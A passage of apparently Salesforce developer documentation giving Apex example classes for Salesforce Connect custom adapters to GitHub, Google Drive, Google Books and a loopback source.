in an error: ' + responseForLock.getStatusCode()+ ' - '+responseForLock.getBody()));
                }
                System.debug(responseForLock.getBody());
            }
        }
    }

    results.add(DataSource.UpsertResult.success(String.valueOf(externalId)));
}
return results;
}

```



```

    global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext
context) {
    List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
    String tableName = context.tableSelected;

    // Calls the GitHub API to delete issues.
    if(tableName.equals('IssueComments')) {
        for(String externalId: context.externalIds) {
            String httpMethod = 'DELETE';
            String url = 'callout:GithubNC/issues/comments/'+externalId;

            HttpResponse response = getResponse(url, httpMethod, null);
            if (response.getStatusCode() != 204){
                results.add(DataSource.DeleteResult.failure(
                    externalId, 'The callout resulted in an error: ' +
response.getStatusCode()+ ' - '+response.getBody()));
            }
            System.debug(response.getBody());
            results.add(DataSource.DeleteResult.success(String.valueOf(externalId)));
        }
    } else if(tableName.equals('GithubIssues')) {
        System.debug('Deletion not supported for GitHub Issues.');
```

results.add(DataSource.DeleteResult.failure(String.valueOf(context.externalIds), 'Deletion not supported for GitHub Issues.');

return results;

}

/**

* Helper method to parse the data.

* The url argument is the URL of the external system.

* Returns a list of rows from the external system.

*/

public List<Map<String, Object>> getData(String url, String tableName) {

String response = getResponse(url, 'GET', null).getBody();

// Standardize response string

if (!response.contains('"items:')) {

if (response.substring(0,1).equals('{')) {

response = '[' + response + '];

}

response = '{"items": ' + response + '}';

}

List<Map<String, Object>> rows = new List<Map<String, Object>>();

Map<String, Object> responseBodyMap = (Map<String, Object>) JSON.deserializeUntyped(response);

/**

* Checks errors.

*/

```

Map<String, Object> error = (Map<String, Object>) responseBodyMap.get('error');
if (error!=null) {
    List<Object> errorsList = (List<Object>)error.get('errors');
    Map<String, Object> errors = (Map<String, Object>)errorsList[0];
    String errorMessage = (String)errors.get('message');
    throw new DataSource.OAuthTokenExpiredException(errorMessage);
}

List<Object> fileItems = (List<Object>) responseBodyMap.get('items');
if (fileItems != null) {
    for (Integer i=0; i < fileItems.size(); i++) {
        Map<String, Object> item = (Map<String, Object>)fileItems[i];
        rows.add(createRow(item, tableName));
    }
} else {
    rows.add(createRow(responseBodyMap, tableName));
}

return rows;
}

/**
 * Helper method to populate the External ID and Display
 * URL fields on external object records based on the 'id'
 * value that's sent by the external system.
 *
 * The Map<String, Object> item parameter maps to the data
 * that represents a row.
 *
 * Returns an updated map with the External ID and
 * Display URL values.
 */
public Map<String, Object> createRow(Map<String, Object> item, String tableName) {
    Map<String, Object> row = new Map<String, Object>();
    for (String key : item.keySet()) {
        if (tableName.equals('GithubIssues')) {
            if (key == 'number') {
                row.put('ExternalId', item.get(key));
            } else if (key=='title') {
                row.put('Title', item.get(key));
            } else if (key=='body') {
                row.put('Description', item.get(key));
            } else if (key=='url') {
                row.put('DisplayUrl', item.get(key));
            } else if (key=='repository_url') {
                String repoUrl = (String) item.get(key);
                row.put('Repo_URL', repoUrl);
                //extract repository name from the URL and add it to the Repo_Name
                String repoName = repoUrl.substring(repoUrl.lastIndexOf('/')+1);
                row.put('Repo_Name', repoName);
                row.put(key, item.get(key));
            } else if (key=='state') {
                row.put('State', item.get(key));
            }
        }
    }
}

```

```

    } else if (key=='state_reason') {
        row.put('State_Reason', item.get(key));
    } else if (key=='locked') {
        row.put('Locked', item.get(key));
    } else if (key=='active_lock_reason') {
        row.put('Lock_Reason', item.get(key));
    } else if (key=='created_at' && item.get(key) != null) {
        DateTime createdDateTime =
(DateTime)Json.deserialize('"' + item.get(key) + '"', DateTime.class);
        row.put('Created', createdDateTime);
    } else if (key=='updated_at' && item.get(key) != null) {
        DateTime updatedDateTime =
(DateTime)Json.deserialize('"' + item.get(key) + '"', DateTime.class);
        row.put('Updated', updatedDateTime);
    } else if (key=='closed_at' && item.get(key) != null) {
        DateTime closedDateTime =
(DateTime)Json.deserialize('"' + item.get(key) + '"', DateTime.class);
        row.put('Closed_At', closedDateTime);
    } else {
        row.put(key, item.get(key));
    }
}
else if (tableName.equals('IssueComments')) {
    if (key=='id') {
        row.put('ExternalId', item.get(key));
    } else if (key=='url') {
        row.put('DisplayUrl', item.get(key));
    } else if (key == 'body') {
        row.put('Body', item.get(key));
    } else if (key=='user') {
        Map<String, Object> ownerMap = (Map<String, Object>)item.get(key);
        row.put('Created_By', ownerMap.get('login'));
    } else if (key=='created_at' && item.get(key) != null) {
        DateTime createdDateTime =
(DateTime)Json.deserialize('"' + item.get(key) + '"', DateTime.class);
        row.put('Created', createdDateTime);
    } else if (key=='updated_at' && item.get(key) != null) {
        DateTime updatedDateTime =
(DateTime)Json.deserialize('"' + item.get(key) + '"', DateTime.class);
        row.put('Updated', updatedDateTime);
    } else if (key=='issue_url') {
        String issueUrl = (String) item.get(key);
        row.put('issue_number', issueUrl.substring(issueUrl.lastIndexOf('/')+1));
    } else {
        row.put(key, item.get(key));
    }
}
}
return row;
}

public Boolean isIssueLockedCurrently(String url) {
    String existingIssue = getResponse(url, 'GET', null).getBody();

```

```

    Map<String, Object> existingIssueBodyMap = (Map<String, Object>)
JSON.deserializeUntyped(existingIssue);

    /**
     * Checks errors.
     */
    Map<String, Object> error = (Map<String, Object>) existingIssueBodyMap.get('error');

    if (error!=null) {
        List<Object> errorsList = (List<Object>)error.get('errors');
        Map<String, Object> errors = (Map<String, Object>)errorsList[0];
        String errorMessage = (String)errors.get('message');
        throw new DataSource.OAuthTokenExpiredException(errorMessage);
    }

    return (Boolean) existingIssueBodyMap.get('locked');
}

/**
 * The url argument is the URL of the external system.
 * Returns the response from the external system.
 */
public HttpResponse getResponse(String url, String httpMethod, Map<String, Object>
issue) {
    // Perform callouts for production (non-test) results.
    Http httpProtocol = new Http();
    HttpRequest request = new HttpRequest();
    request.setEndpoint(url);
    request.setMethod(httpMethod);
    if(issue != null)
        request.setBody(JSON.serialize(issue));

    return httpProtocol.send(request);
}
}

```

DataSource.Provider Class

This example creates a class named `GitHubDataSourceProvider`.

```

/**
 * Extends the DataSource.Provider base class to create a
 * custom adapter for Salesforce Connect. The class informs
 * Salesforce of the functional and authentication
 * capabilities that are supported by or required to connect
 * to an external system.
 */
global class GitHubDataSourceProvider extends DataSource.Provider {

    /**
     * For simplicity, this example declares that the external
     * system doesn't require authentication by returning
     * AuthenticationCapability.ANONYMOUS as the sole entry
     * in the list of authentication capabilities.
     */
}

```

```

    /**
    override global List<DataSource.AuthenticationCapability> getAuthenticationCapabilities()
    {
        List<DataSource.AuthenticationCapability> capabilities = new
List<DataSource.AuthenticationCapability>();
        capabilities.add(DataSource.AuthenticationCapability.ANONYMOUS);
        return capabilities;
    }

    /**
    *   Declares the functional capabilities that the
    *   external system supports, in this case
    *   only SOQL queries.
    */
    override global List<DataSource.Capability> getCapabilities() {
        List<DataSource.Capability> capabilities = new List<DataSource.Capability>();
        capabilities.add(DataSource.Capability.ROW_QUERY);
        capabilities.add(DataSource.Capability.ROW_CREATE);
        capabilities.add(DataSource.Capability.ROW_UPDATE);
        capabilities.add(DataSource.Capability.ROW_DELETE);
        capabilities.add(DataSource.Capability.PICKLIST);
        capabilities.add(DataSource.Capability.MULTI_PICKLIST);
        capabilities.add(DataSource.Capability.SEARCH);
        return capabilities;
    }

    /**
    *   Declares the associated DataSource.Connection class.
    */
    override global DataSource.Connection getConnection(DataSource.ConnectionParams
connectionParams) {
        return new GitHubDataSourceConnection(connectionParams);
    }
}

```

GitHub Custom Adapter for Salesforce Connect

This example illustrates how to support indirect lookup relationships. An indirect lookup relationship links a child external object to a parent standard or custom object.

For this example to work, create a custom field on the Contact standard object. Name the custom field *github_username*, make it a text field of length 39, and select the **External ID** and **Unique** attributes. Also, add <https://api.github.com> to your remote site settings.

GitHubDataSourceConnection Class

```

/**
*   Defines the connection to GitHub REST API v3 to support
*   querying of GitHub profiles.
*   Extends the DataSource.Connection class to enable
*   Salesforce to sync the external system's schema
*   and to handle queries and searches of the external data.
*/

```

```

global class GitHubDataSourceConnection extends
    DataSource.Connection {
    private DataSource.ConnectionParams connectionInfo;

    /**
     * Constructor for GitHubDataSourceConnection
     */
    global GitHubDataSourceConnection(
        DataSource.ConnectionParams connectionInfo) {
        this.connectionInfo = connectionInfo;
    }

    /**
     * Called to query and get results from the external
     * system for SOQL queries, list views, and detail pages
     * for an external object that's associated with the
     * external data source.
     *
     * The queryContext argument represents the query to run
     * against a table in the external system.
     *
     * Returns a list of rows as the query results.
     */
    override global DataSource.TableResult query(
        DataSource.QueryContext context) {
        DataSource.Filter filter = context.tableSelection.filter;
        String url;
        if (filter != null) {
            String thisColumnName = filter.columnName;
            if (thisColumnName != null &&
                (thisColumnName.equals('ExternalId') ||
                 thisColumnName.equals('login')))
                url = 'https://api.github.com/users/'
                    + filter.columnValue;
            else
                url = 'https://api.github.com/users';
        } else {
            url = 'https://api.github.com/users';
        }

        /**
         * Filters, sorts, and applies limit and offset clauses.
         */
        List<Map<String, Object>> rows =
            DataSource.QueryUtils.process(context, getData(url));
        return DataSource.TableResult.get(true, null,
            context.tableSelection.tableSelected, rows);
    }

    /**
     * Defines the schema for the external system.
     * Called when the administrator clicks "Validate and Sync"
     * in the user interface for the external data source.
     */

```

```

override global List<DataSource.Table> sync() {
    List<DataSource.Table> tables =
        new List<DataSource.Table>();
    List<DataSource.Column> columns;
    columns = new List<DataSource.Column>();

    // Defines the indirect lookup field. (For this to work,
    // make sure your Contact standard object has a
    // custom unique, external ID field called github_username.)
    columns.add(DataSource.Column.indirectLookup(
        'login', 'Contact', 'github_username__c'));

    columns.add(DataSource.Column.text('id', 255));
    columns.add(DataSource.Column.text('name', 255));
    columns.add(DataSource.Column.text('company', 255));
    columns.add(DataSource.Column.text('bio', 255));
    columns.add(DataSource.Column.text('followers', 255));
    columns.add(DataSource.Column.text('following', 255));
    columns.add(DataSource.Column.url('html_url'));
    columns.add(DataSource.Column.url('DisplayUrl'));
    columns.add(DataSource.Column.text('ExternalId', 255));
    tables.add(DataSource.Table.get('githubProfile', 'login',
        columns));
    return tables;
}

/**
 * Called to do a full text search and get results from
 * the external system for SOSL queries and Salesforce
 * global searches.
 *
 * The SearchContext argument represents the query to run
 * against a table in the external system.
 *
 * Returns results for each table that the SearchContext
 * requested to be searched.
 */
override global List<DataSource.TableResult> search(
    DataSource.SearchContext context) {
    List<DataSource.TableResult> results =
        new List<DataSource.TableResult>();

    for (Integer i = 0; i < context.tableSelections.size(); i++) {
        String entity = context.tableSelections[i].tableSelected;

        // Search usernames
        String url = 'https://api.github.com/users/'
            + context.searchPhrase;
        results.add(DataSource.TableResult.get(
            true, null, entity, getData(url)));
    }

    return results;
}

```

```

/**
 * Helper method to parse the data.
 * The url argument is the URL of the external system.
 * Returns a list of rows from the external system.
 */
public List<Map<String, Object>> getData(String url) {
    String response = getResponse(url);

    // Standardize response string
    if (!response.contains("\"items\":")) {
        if (response.substring(0,1).equals('{')) {
            response = '[' + response + ']';
        }
        response = '{"items": ' + response + '}';
    }

    List<Map<String, Object>> rows =
        new List<Map<String, Object>>();

    Map<String, Object> responseBodyMap = (Map<String, Object>)
        JSON.deserializeUntyped(response);

    /**
     * Checks errors.
     */
    Map<String, Object> error =
        (Map<String, Object>) responseBodyMap.get('error');
    if (error!=null) {
        List<Object> errorsList =
            (List<Object>)error.get('errors');
        Map<String, Object> errors =
            (Map<String, Object>)errorsList[0];
        String errorMessage = (String)errors.get('message');
        throw new
            DataSource.OAuthTokenExpiredException(errorMessage);
    }

    List<Object> fileItems =
        (List<Object>) responseBodyMap.get('items');
    if (fileItems != null) {
        for (Integer i=0; i < fileItems.size(); i++) {
            Map<String, Object> item =
                (Map<String, Object>) fileItems[i];
            rows.add(createRow(item));
        }
    } else {
        rows.add(createRow(responseBodyMap));
    }

    return rows;
}

/**

```



```

    *   Helper method to populate the External ID and Display
    *   URL fields on external object records based on the 'id'
    *   value that's sent by the external system.
    *
    *   The Map<String, Object> item parameter maps to the data
    *   that represents a row.
    *
    *   Returns an updated map with the External ID and
    *   Display URL values.
    */
    public Map<String, Object> createRow(
        Map<String, Object> item) {
        Map<String, Object> row = new Map<String, Object>();
        for ( String key : item.keySet() ) {
            if (key == 'login') {
                row.put('ExternalId', item.get(key));
            } else if (key=='html_url') {
                row.put('DisplayUrl', item.get(key));
            }

            row.put(key, item.get(key));
        }
        return row;
    }

    /**
    *   Helper method to make the HTTP GET call.
    *   The url argument is the URL of the external system.
    *   Returns the response from the external system.
    */
    public String getResponse(String url) {
        // Perform callouts for production (non-test) results.
        Http httpProtocol = new Http();
        HttpRequest request = new HttpRequest();
        request.setEndPoint(url);
        request.setMethod('GET');
        HttpResponse response = httpProtocol.send(request);
        return response.getBody();
    }
}

```

GitHubDataSourceProvider Class

```

/**
 *   Extends the DataSource.Provider base class to create a
 *   custom adapter for Salesforce Connect. The class informs
 *   Salesforce of the functional and authentication
 *   capabilities that are supported by or required to connect
 *   to an external system.
 */
global class GitHubDataSourceProvider
    extends DataSource.Provider {

    /**

```

```

    *   For simplicity, this example declares that the external
    *   system doesn't require authentication by returning
    *   AuthenticationCapability.ANONYMOUS as the sole entry
    *   in the list of authentication capabilities.
    **/
    override global List<DataSource.AuthenticationCapability>
    getAuthenticationCapabilities() {
        List<DataSource.AuthenticationCapability> capabilities =
            new List<DataSource.AuthenticationCapability>();
        capabilities.add(
            DataSource.AuthenticationCapability.ANONYMOUS);
        return capabilities;
    }

    /**
    *   Declares the functional capabilities that the
    *   external system supports, in this case
    *   only SOQL queries.
    **/
    override global List<DataSource.Capability>
    getCapabilities() {
        List<DataSource.Capability> capabilities =
            new List<DataSource.Capability>();
        capabilities.add(DataSource.Capability.ROW_QUERY);
        return capabilities;
    }

    /**
    *   Declares the associated DataSource.Connection class.
    **/
    override global DataSource.Connection getConnection(
        DataSource.ConnectionParams connectionParams) {
        return new GitHubDataSourceConnection(connectionParams);
    }
}

```

SEE ALSO:

[Adding Remote Site Settings](#)

Google Drive™ Custom Adapter for Salesforce Connect

This example illustrates how to use callouts and OAuth to connect to an external system, which in this case is the Google Drive™ online storage service. The example also shows how to avoid failing tests from web service callouts by returning mock responses for test methods.

For this example to work reliably, request offline access when setting up OAuth so that Salesforce can obtain and maintain a refresh token for your connections.

DriveDataSourceConnection Class

```

/**
 *   Extends the DataSource.Connection class to enable

```

```

*   Salesforce to sync the external system's schema
*   and to handle queries and searches of the external data.
**/
global class DriveDataSourceConnection extends
    DataSource.Connection {
    private DataSource.ConnectionParams connectionInfo;

    /**
     *   Constructor for DriveDataSourceConnection.
     */
    global DriveDataSourceConnection(
        DataSource.ConnectionParams connectionInfo) {
        this.connectionInfo = connectionInfo;
    }

    /**
     *   Called when an external object needs to get a list of
     *   schema from the external data source, for example when
     *   the administrator clicks "Validate and Sync" in the
     *   user interface for the external data source.
     */
    override global List<DataSource.Table> sync() {
        List<DataSource.Table> tables =
            new List<DataSource.Table>();
        List<DataSource.Column> columns;
        columns = new List<DataSource.Column>();
        columns.add(DataSource.Column.text('title', 255));
        columns.add(DataSource.Column.text('description', 255));
        columns.add(DataSource.Column.text('createdDate', 255));
        columns.add(DataSource.Column.text('modifiedDate', 255));
        columns.add(DataSource.Column.url('selfLink'));
        columns.add(DataSource.Column.url('DisplayUrl'));
        columns.add(DataSource.Column.text('ExternalId', 255));
        tables.add(DataSource.Table.get('googleDrive', 'title',
            columns));
        return tables;
    }

    /**
     *   Called to query and get results from the external
     *   system for SOQL queries, list views, and detail pages
     *   for an external object that's associated with the
     *   external data source.
     *
     *   The QueryContext argument represents the query to run
     *   against a table in the external system.
     *
     *   Returns a list of rows as the query results.
     */
    override global DataSource.TableResult query(
        DataSource.QueryContext context) {
        DataSource.Filter filter = context.tableSelection.filter;
        String url;
        if (filter != null) {

```

```

        String thisColumnName = filter.columnName;
        if (thisColumnName != null &&
            thisColumnName.equals('ExternalId'))
            url = 'https://www.googleapis.com/drive/v2/'
                + 'files/' + filter.columnValue;
        else
            url = 'https://www.googleapis.com/drive/v2/'
                + 'files';
    } else {
        url = 'https://www.googleapis.com/drive/v2/'
            + 'files';
    }
}

/**
 * Filters, sorts, and applies limit and offset clauses.
 */
List<Map<String, Object>> rows =
    DataSource.QueryUtils.process(context, getData(url));
return DataSource.TableResult.get(true, null,
    context.tableSelection.tableSelected, rows);
}

/**
 * Called to do a full text search and get results from
 * the external system for SOSL queries and Salesforce
 * global searches.
 *
 * The SearchContext argument represents the query to run
 * against a table in the external system.
 *
 * Returns results for each table that the SearchContext
 * requested to be searched.
 */
override global List<DataSource.TableResult> search(
    DataSource.SearchContext context) {
    List<DataSource.TableResult> results =
        new List<DataSource.TableResult>();

    for (Integer i = 0; i < context.tableSelections.size(); i++) {
        String entity = context.tableSelections[i].tableSelected;
        String url =
            'https://www.googleapis.com/drive/v2/files'+
            '?q=fullText+contains+' + context.searchPhrase + '\'';
        results.add(DataSource.TableResult.get(
            true, null, entity, getData(url)));
    }

    return results;
}

/**
 * Helper method to parse the data.
 * The url argument is the URL of the external system.
 * Returns a list of rows from the external system.

```

```

    /**
    public List<Map<String, Object>> getData(String url) {
        String response = getResponse(url);

        List<Map<String, Object>> rows =
            new List<Map<String, Object>>();

        Map<String, Object> responseBodyMap = (Map<String, Object>)
            JSON.deserializeUntyped(response);

        /**
        *   Checks errors.
        */
        Map<String, Object> error =
            (Map<String, Object>) responseBodyMap.get('error');
        if (error!=null) {
            List<Object> errorsList =
                (List<Object>) error.get('errors');
            Map<String, Object> errors =
                (Map<String, Object>) errorsList[0];
            String errorMessage = (String) errors.get('message');
            throw new DataSource.OAuthTokenExpiredException(errorMessage);
        }

        List<Object> fileItems=(List<Object>) responseBodyMap.get('items');
        if (fileItems != null) {
            for (Integer i=0; i < fileItems.size(); i++) {
                Map<String, Object> item =
                    (Map<String, Object>) fileItems[i];
                rows.add(createRow(item));
            }
        } else {
            rows.add(createRow(responseBodyMap));
        }

        return rows;
    }

    /**
    *   Helper method to populate the External ID and Display
    *   URL fields on external object records based on the 'id'
    *   value that's sent by the external system.
    *
    *   The Map<String, Object> item parameter maps to the data
    *   that represents a row.
    *
    *   Returns an updated map with the External ID and
    *   Display URL values.
    */
    public Map<String, Object> createRow(
        Map<String, Object> item) {
        Map<String, Object> row = new Map<String, Object>();
        for (String key : item.keySet()) {
            if (key == 'id') {

```

```

        row.put('ExternalId', item.get(key));
    } else if (key=='selfLink') {
        row.put(key, item.get(key));
        row.put('DisplayUrl', item.get(key));
    } else {
        row.put(key, item.get(key));
    }
}
return row;
}

static String mockResponse = '{' +
    '  "kind": "drive#file",' +
    '  "id": "12345",' +
    '  "selfLink": "files/12345",' +
    '  "title": "Mock File",' +
    '  "mimeType": "application/text",' +
    '  "description": "Mock response that's used during tests",' +
    '  "createdDate": "2016-04-20",' +
    '  "modifiedDate": "2016-04-20",' +
    '  "version": 1' +
    '}'

/**
 * Helper method to make the HTTP GET call.
 * The url argument is the URL of the external system.
 * Returns the response from the external system.
 */
public String getResponse(String url) {
    if (System.Test.isRunningTest()) {
        // Avoid callouts during tests. Return mock data instead.
        return mockResponse;
    } else {
        // Perform callouts for production (non-test) results.
        Http httpProtocol = new Http();
        HttpRequest request = new HttpRequest();
        request.setEndPoint(url);
        request.setMethod('GET');
        request.setHeader('Authorization', 'Bearer ' +
            this.connectionInfo.oauthToken);
        HttpResponse response = httpProtocol.send(request);
        return response.getBody();
    }
}
}

```

DriveDataSourceProvider Class

```

/**
 * Extends the DataSource.Provider base class to create a
 * custom adapter for Salesforce Connect. The class informs
 * Salesforce of the functional and authentication
 * capabilities that are supported by or required to connect
 * to an external system.

```

```

/**/
global class DriveDataSourceProvider
    extends DataSource.Provider {

    /**
     * Declares the types of authentication that can be used
     * to access the external system.
     */
    override global List<DataSource.AuthenticationCapability>
        getAuthenticationCapabilities() {
        List<DataSource.AuthenticationCapability> capabilities =
            new List<DataSource.AuthenticationCapability>();
        capabilities.add(
            DataSource.AuthenticationCapability.OAUTH);
        capabilities.add(
            DataSource.AuthenticationCapability.ANONYMOUS);
        return capabilities;
    }

    /**
     * Declares the functional capabilities that the
     * external system supports.
     */
    override global List<DataSource.Capability>
        getCapabilities() {
        List<DataSource.Capability> capabilities =
            new List<DataSource.Capability>();
        capabilities.add(DataSource.Capability.ROW_QUERY);
        capabilities.add(DataSource.Capability.SEARCH);
        return capabilities;
    }

    /**
     * Declares the associated DataSource.Connection class.
     */
    override global DataSource.Connection getConnection(
        DataSource.ConnectionParams connectionParams) {
        return new DriveDataSourceConnection(connectionParams);
    }
}

```

Google Books™ Custom Adapter for Salesforce Connect

This example illustrates how to work around the requirements and limits of an external system's APIs: in this case, the Google Books API Family.

To integrate with the Google Books™ service, we set up Salesforce Connect as follows.

- The Google Books API allows a maximum of 40 returned results, so we develop our custom adapter to handle result sets with more than 40 rows.
- The Google Books API can sort only by search relevance and publish dates, so we develop our custom adapter to disable sorting on columns.
- To support OAuth, we set up our authentication settings in Salesforce so that the requested scope of permissions for access tokens includes <https://www.googleapis.com/auth/books>.

- To allow Apex callouts, we define these remote sites in Salesforce:
 - <https://www.googleapis.com>
 - <https://books.google.com>

BooksDataSourceConnection Class

```
/**
 * Extends the DataSource.Connection class to enable
 * Salesforce to sync the external system metadata
 * schema and to handle queries and searches of the external
 * data.
 */
global class BooksDataSourceConnection extends
    DataSource.Connection {

    private DataSource.ConnectionParams connectionInfo;

    // Constructor for BooksDataSourceConnection.
    global BooksDataSourceConnection(DataSource.ConnectionParams
                                    connectionInfo) {
        this.connectionInfo = connectionInfo;
    }

    /**
     * Called when an external object needs to get a list of
     * schema from the external data source, for example when
     * the administrator clicks "Validate and Sync" in the
     * user interface for the external data source.
     */
    override global List<DataSource.Table> sync() {
        List<DataSource.Table> tables =
            new List<DataSource.Table>();
        List<DataSource.Column> columns;
        columns = new List<DataSource.Column>();
        columns.add(getColumn('title'));
        columns.add(getColumn('description'));
        columns.add(getColumn('publishedDate'));
        columns.add(getColumn('publisher'));
        columns.add(DataSource.Column.url('DisplayUrl'));
        columns.add(DataSource.Column.text('ExternalId', 255));
        tables.add(DataSource.Table.get('googleBooks', 'title',
                                       columns));

        return tables;
    }

    /**
     * Google Books API v1 doesn't support sorting,
     * so we create a column with sortable = false.
     */
    private DataSource.Column getColumn(String columnName) {
        DataSource.Column column = DataSource.Column.text(columnName,
                                                            255);

        column.sortable = false;
    }
}
```



```

        return column;
    }

    /**
     * Called to query and get results from the external
     * system for SOQL queries, list views, and detail pages
     * for an external object that's associated with the
     * external data source.
     *
     * The QueryContext argument represents the query to run
     * against a table in the external system.
     *
     * Returns a list of rows as the query results.
     */
    override global DataSource.TableResult query(
        DataSource.QueryContext contexts) {
        DataSource.Filter filter = contexts.tableSelection.filter;
        String url;
        if (contexts.tableSelection.columnsSelected.size() == 1 &&
            contexts.tableSelection.columnsSelected.get(0).aggregation ==
                DataSource.QueryAggregation.COUNT) {
            return getCount(contexts);
        }

        if (filter != null) {
            String thisColumnName = filter.columnName;
            if (thisColumnName != null &&
                thisColumnName.equals('ExternalId')) {
                url = 'https://www.googleapis.com/books/v1/' +
                    'volumes?q=' + filter.columnValue +
                    '&maxResults=1&id=' + filter.columnValue;
                return DataSource.TableResult.get(true, null,
                    contexts.tableSelection.tableSelected,
                    getData(url));
            }
            else {
                url = 'https://www.googleapis.com/books/' +
                    'v1/volumes?q=' + filter.columnValue +
                    '&id=' + filter.columnValue +
                    '&maxResults=40' + '&startIndex=';
            }
        }
        else {
            url = 'https://www.googleapis.com/books/v1/' +
                'volumes?q=america&' + '&maxResults=40' +
                '&startIndex=';
        }
    }

    /**
     * Google Books API v1 supports maxResults of 40
     * so we handle pagination explicitly in the else statement
     * when we handle more than 40 records per query.
     */
    if (contexts.maxResults < 40) {
        return DataSource.TableResult.get(true, null,
            contexts.tableSelection.tableSelected,

```

```

        getData(url + contexts.offset));
    }
    else {
        return fetchData(contexts, url);
    }
}

/**
 * Helper method to fetch results when maxResults is
 * greater than 40 (the max value for maxResults supported
 * by Google Books API v1).
 */
private DataSource.TableResult fetchData(
    DataSource.QueryContext contexts, String url) {
    Integer fetchSlot = (contexts.maxResults / 40) + 1;
    List<Map<String, Object>> data =
        new List<Map<String, Object>>();
    Integer startIndex = contexts.offset;
    for(Integer count = 0; count < fetchSlot; count++) {
        data.addAll(getData(url + startIndex));
        if(count == 0)
            contexts.offset = 41;
        else
            contexts.offset += 40;
    }

    return DataSource.TableResult.get(true, null,
        contexts.tableSelection.tableSelected, data);
}

/**
 * Helper method to execute count() query.
 */
private DataSource.TableResult getCount(
    DataSource.QueryContext contexts) {
    String url = 'https://www.googleapis.com/books/v1/' +
        'volumes?q=america&projection=full';
    List<Map<String, Object>> response =
        DataSource.QueryUtils.filter(contexts, getData(url));
    List<Map<String, Object>> countResponse =
        new List<Map<String, Object>>();
    Map<String, Object> countRow =
        new Map<String, Object>();
    countRow.put(
        contexts.tableSelection.columnsSelected.get(0).columnName,
        response.size());
    countResponse.add(countRow);
    return DataSource.TableResult.get(contexts, countResponse);
}

/**
 * Called to do a full text search and get results from
 * the external system for SOSL queries and Salesforce
 * global searches.

```

```

    *
    * The SearchContext argument represents the query to run
    * against a table in the external system.
    *
    * Returns results for each table that the SearchContext
    * requested to be searched.
    **/
    override global List<DataSource.TableResult> search(
        DataSource.SearchContext contexts) {
        List<DataSource.TableResult> results =
            new List<DataSource.TableResult>();

        for (Integer i = 0; i < contexts.tableSelections.size(); i++) {
            String entity = contexts.tableSelections[i].tableSelected;
            String url = 'https://www.googleapis.com/books/v1' +
                '/volumes?q=' + contexts.searchPhrase;
            results.add(DataSource.TableResult.get(true, null,
                entity,
                getData(url)));
        }

        return results;
    }

    /**
    * Helper method to parse the data.
    * Returns a list of rows from the external system.
    **/
    public List<Map<String, Object>> getData(String url) {
        HttpResponse response = getResponse(url);
        String body = response.getBody();

        List<Map<String, Object>> rows =
            new List<Map<String, Object>>();

        Map<String, Object> responseBodyMap =
            (Map<String, Object>) JSON.deserializeUntyped(body);

    /**
    * Checks errors.
    **/
        Map<String, Object> error =
            (Map<String, Object>) responseBodyMap.get('error');
        if (error != null) {
            List<Object> errorsList =
                (List<Object>) error.get('errors');
            Map<String, Object> errors =
                (Map<String, Object>) errorsList[0];
            String messages = (String) errors.get('message');
            throw new DataSource.OAuthTokenExpiredException(messages);
        }

        List<Object> sItems = (List<Object>) responseBodyMap.get('items');
        if (sItems != null) {

```

```

        for (Integer i=0; i< sItems.size(); i++) {
            Map<String, Object> item =
                (Map<String, Object>)sItems[i];
            rows.add(createRow(item));
        }
    } else {
        rows.add(createRow(responseBodyMap));
    }

    return rows;
}

/**
 * Helper method to populate a row based on source data.
 *
 * The item argument maps to the data that
 * represents a row.
 *
 * Returns an updated map with the External ID and
 * Display URL values.
 */
public Map<String, Object> createRow(
    Map<String, Object> item) {
    Map<String, Object> row = new Map<String, Object>();
    for (String key : item.keySet()) {
        if (key == 'id') {
            row.put('ExternalId', item.get(key));
        } else if (key == 'volumeInfo') {
            Map<String, Object> volumeInfoMap =
                (Map<String, Object>)item.get(key);
            row.put('title', volumeInfoMap.get('title'));
            row.put('description',
                volumeInfoMap.get('description'));
            row.put('DisplayUrl',
                volumeInfoMap.get('infoLink'));
            row.put('publishedDate',
                volumeInfoMap.get('publishedDate'));
            row.put('publisher',
                volumeInfoMap.get('publisher'));
        }
    }
    return row;
}

/**
 * Helper method to make the HTTP GET call.
 * The url argument is the URL of the external system.
 * Returns the response from the external system.
 */
public HttpResponse getResponse(String url) {
    Http httpProtocol = new Http();
    HttpRequest request = new HttpRequest();
    request.setEndPoint(url);
    request.setMethod('GET');

```

```

        request.setHeader('Authorization', 'Bearer ' +
                           this.connectionInfo.oauthToken);
        HttpResponse response = httpProtocol.send(request);
        return response;
    }
}

```

BooksDataSourceProvider Class

```

/**
 * Extends the DataSource.Provider base class to create a
 * custom adapter for Salesforce Connect. The class informs
 * Salesforce of the functional and authentication
 * capabilities that are supported by or required to connect
 * to an external system.
 */
global class BooksDataSourceProvider extends
    DataSource.Provider {
    /**
     * Declares the types of authentication that can be used
     * to access the external system.
     */
    override global List<DataSource.AuthenticationCapability>
        getAuthenticationCapabilities() {
        List<DataSource.AuthenticationCapability> capabilities =
            new List<DataSource.AuthenticationCapability>();
        capabilities.add(
            DataSource.AuthenticationCapability.OAUTH);
        capabilities.add(
            DataSource.AuthenticationCapability.ANONYMOUS);
        return capabilities;
    }

    /**
     * Declares the functional capabilities that the
     * external system supports.
     */
    override global List<DataSource.Capability>
        getCapabilities() {
        List<DataSource.Capability> capabilities = new
            List<DataSource.Capability>();
        capabilities.add(DataSource.Capability.ROW_QUERY);
        capabilities.add(DataSource.Capability.SEARCH);
        return capabilities;
    }

    /**
     * Declares the associated DataSource.Connection class.
     */
    override global DataSource.Connection getConnection(
        DataSource.ConnectionParams connectionParams) {
        return new BooksDataSourceConnection(connectionParams);
    }
}

```

Loopback Custom Adapter for Salesforce Connect

This example illustrates how to handle filtering in queries. For simplicity, this example connects the Salesforce org to itself as the external system.

LoopbackDataSourceConnection Class

```
/**
 * Extends the DataSource.Connection class to enable
 * Salesforce to sync the external system's schema
 * and to handle queries and searches of the external data.
 */
global class LoopbackDataSourceConnection
    extends DataSource.Connection {

    /**
     * Constructors.
     */
    global LoopbackDataSourceConnection(
        DataSource.ConnectionParams connectionParams) {
    }
    global LoopbackDataSourceConnection() {}

    /**
     * Called when an external object needs to get a list of
     * schema from the external data source, for example when
     * the administrator clicks "Validate and Sync" in the
     * user interface for the external data source.
     */
    override global List<DataSource.Table> sync() {
        List<DataSource.Table> tables =
            new List<DataSource.Table>();
        List<DataSource.Column> columns;
        columns = new List<DataSource.Column>();
        columns.add(DataSource.Column.text('ExternalId', 255));
        columns.add(DataSource.Column.url('DisplayUrl'));
